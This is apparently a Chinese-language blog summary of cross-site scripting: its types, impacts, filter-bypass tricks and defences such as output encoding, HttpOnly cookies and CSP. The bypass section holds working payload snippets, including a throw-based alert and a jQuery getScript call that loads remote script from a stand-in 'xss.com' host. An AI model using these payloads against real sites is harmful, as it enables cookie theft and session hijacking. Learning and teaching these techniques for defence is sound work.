XSS简单总结
一.漏洞原理
通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
它攻击的是用户的浏览器,因此它可以窃取到用户的cookie,甚至是管理员cookie,利用管理员cookie登录后台,进行篡改网页、上传webshell等高危操作。
二.漏洞分类
反射型XSS
一般是构造恶意链接,诱骗用户点击盗取用户的cookie信息,只执行一次。
插入的代码经过 前端->后端->前端
储存型XSS
网页插入xss语句后,恶意语句会存入网站数据库中,每一次访问都会执行一次恶意语句。
插入的代码经过前端->后端->数据库->前端
DOM型XSS
DOM型是特殊的反射型XSS。使用js脚本对文档对象进行编辑,从而修改页面的元素
插入的代码只经过前端
三.漏洞危害
XSS蠕虫、劫持会话、网站挂马、盗取cookie
四.XSS绕过
编码绕过
JS编码、URL编码、HTML实体编码、Hex编码等。
过滤空格
使用/
代替空格,也可使用%0d代替。
过滤单引号、双引号
可以使用反单引号`
来替换单引号和双引号。
对特定字符过滤
如alert、script等,可以使用大小写绕过,复写绕过
过滤括号
可以使用反单引号`
来替换,也可以使用throw过滤括号,示例如下
<script>onerror=alert;throw 1</script>
过滤函数
大多数网站会使用jQuery,我们可以使用其中的方法进行js远程加载,来引入xss平台的js,示例如下
JavaScript:$.getScript("//xss.com")
实际运用可以参考之前的文章xss-labs 1-18关
五.漏洞防御
1.设置黑名单和白名单
2.对用户输入字符进行过滤,对输出到页面的数据进行编码转换
3.对Cookie启用HTTPonly
4.启用CSP(内容安全策略),禁止一些不合法的外部资源加载